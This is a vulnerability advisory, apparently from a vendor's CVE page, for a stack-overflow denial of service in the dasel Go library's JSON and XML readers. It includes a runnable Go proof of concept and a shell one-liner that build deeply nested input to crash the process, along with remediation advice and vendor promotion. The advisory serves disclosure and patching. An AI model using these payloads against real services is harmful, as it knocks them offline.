Summary
Dasel: Unbounded recursion in JSON and XML readers causes unrecoverable stack-overflow DoS
dasel's JSON and XML readers parse nested structures with unbounded recursion, one
native stack frame per nesting level, with no depth guard. A small (sub-10 MB), deeply
nested document drives the Go runtime past its goroutine stack limit and triggers afatal error: stack overflow. This is unrecoverable: it is a runtime fatal error, not
a panic, so a consumer's defer/recover cannot intercept it, the entire process dies.
Both readers are affected; neither has a depth limit, and the JSON reader additionally has
no input-size cap (the XML reader caps size at 10 MB but not depth).
Affected Versions
github.com/tomwright/dasel/v3 and all v3.x releases through v3.11.0 (current main,
commit abc1e1d). This vulnerability is fixed in 3.11.1. Pre-v3 is out of scope.
Description
JSON reader @ parsing/json/json_reader.go
decodeValue (line 54) dispatches to the mutually-recursive decodeObject (line 78) anddecodeArray (line 140). Each calls back into both for nested values
(decodeArray→decodeArray at line 151, decodeObject at 163; decodeObject→decodeArray
at 95, decodeObject at 111). Every [ or { in the input adds one stack frame. There is
no depth counter and no len(data) cap anywhere in the reader.
XML reader @parsing/xml/reader.go
parseElement (line 172) recurses at line 211 for every xml.StartElement. The file
declares explicit DoS guards, maxXMLSize = 10_000_000, comment count/length, but these
bound size and comment volume, not nesting depth. The open tag <a> is 3 bytes, so the
10 MB cap still permits ~3.3 M nesting levels, exhausting the stack long before the size
limit fires.
Reachability (both)
Both are on the primary public read path: parsing.Format(<fmt>).NewReader(opts).Read(data),
with data fully attacker-controlled and no depth validation before the recursion. The same
path backs the dasel CLI (dasel -r json / -r xml). Default reader, no special options.
Go stack overflow is a fatal error, so recover() at the call site does not help.
Precedent in this codebase
DoS hardening on the readers is already an accepted concern here, which is why this is a gap
rather than a design choice: the XML reader has the maxXMLSize cap, and the YAML reader
already implements exactly the fix needed, parsing/yaml/yaml_reader.go:31,90-93 returnsErrYamlExpansionDepthExceeded once expansionDepth > maxExpansionDepth. The JSON and XML
readers simply lack the equivalent depth guard.
Proof of Concept
Single runnable program, public API only (poc/main.go, module wired to a local clone viareplace):
package main
import (
"fmt"; "os"; "strings"
"github.com/tomwright/dasel/v3/parsing"
_ "github.com/tomwright/dasel/v3/parsing/json"
_ "github.com/tomwright/dasel/v3/parsing/xml"
)
func main() {
mode := "json"; if len(os.Args) > 1 { mode = os.Args[1] }
depth := 6_000_000; if mode == "xml" { depth = 3_200_000 }
var data []byte
if mode == "xml" {
data = []byte(strings.Repeat("<a>", depth)) // ~9.6MB, under the 10MB cap
} else {
data = []byte(strings.Repeat("[", depth) + strings.Repeat("]", depth)) // ~12MB
}
defer func() { if r := recover(); r != nil { fmt.Println("recovered (NOT fatal):", r) } }()
r, _ := parsing.Format(mode).NewReader(parsing.DefaultReaderOptions())
v, err := r.Read(data)
fmt.Printf("Read returned WITHOUT crash: v=%v err=%v\n", v != nil, err)
}
go run . json # nested arrays -> fatal error: stack overflow ; ~85 decodeArray frames
go run . xml # nested <a> -> fatal error: stack overflow ; ~93 parseElement frames
Observed (Go 1.26, default 1 GB goroutine stack):
jsondepth 6 M (12 MB):runtime: goroutine stack exceeds 1000000000-byte limit→fatal error: stack overflow; backtrace dominated byjson.(*jsonReader).decodeArray.depth 2 Mcompletes (~0.83 s), confirming it is depth-driven, not a parse error.xmldepth 3.2 M (9.6 MB, under the 10 MBmaxXMLSizecap): same fatal overflow;
backtrace is an unbroken chain ofxml.(*xmlReader).parseElementatreader.go:211.- The deferred
recover()never fires in either case, the process exits. - CLI equivalents:
printf '<a>%.0s' {1..3200000} | dasel -r xml.
Impact
An attacker who controls JSON or XML passed to dasel, via the library Read API, the CLI,
or the parse('json'|'xml', …) selector function, crashes the host process with a single
small document. Because the failure is a Go fatal error rather than a recoverable panic, a
consumer that wraps parsing in defer/recover is still taken down: the whole process
terminates, killing every in-flight goroutine, not just the parse. Availability only, no
confidentiality or integrity impact. For a library consumer feeding network-sourced data toRead, this is a remotely triggerable, unrecoverable DoS.
CVE-2026-59168 has a CVSS score of 6.2 (Medium). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Add a recursion-depth guard to both readers, mirroring the YAML reader's existingmaxExpansionDepth / ErrYamlExpansionDepthExceeded pattern:
- JSON, thread a
depth intthroughdecodeValue/decodeObject/decodeArray,
increment on descent, returnErrJSONMaxDepthExceededpast a conservative bound
(e.g. 10 000). Optionally add amaxJSONSizecap matchingmaxXMLSizefor parity. - XML, add a
maxXMLDepthconstant to the existingSecurity limitsblock and thread
adepththroughparseElement, returning a normal error past the bound.
Both return a clean error for pathological input instead of crashing the process,
consistent with how the comment-count, size, and YAML-expansion limits already behave. A
limit in the low thousands preserves all realistic legitimate documents.
Frequently Asked Questions
- What is CVE-2026-59168? CVE-2026-59168 is a medium-severity security vulnerability in github.com/tomwright/dasel/v3 (go), affecting versions >= 3.0.0, <= 3.11.0. It is fixed in 3.11.1.
- How severe is CVE-2026-59168? CVE-2026-59168 has a CVSS score of 6.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/tomwright/dasel/v3 are affected by CVE-2026-59168? github.com/tomwright/dasel/v3 (go) versions >= 3.0.0, <= 3.11.0 is affected.
- Is there a fix for CVE-2026-59168? Yes. CVE-2026-59168 is fixed in 3.11.1. Upgrade to this version or later.
- Is CVE-2026-59168 exploitable, and should I be worried? Whether CVE-2026-59168 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-59168 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-59168? Upgrade
github.com/tomwright/dasel/v3to 3.11.1 or later.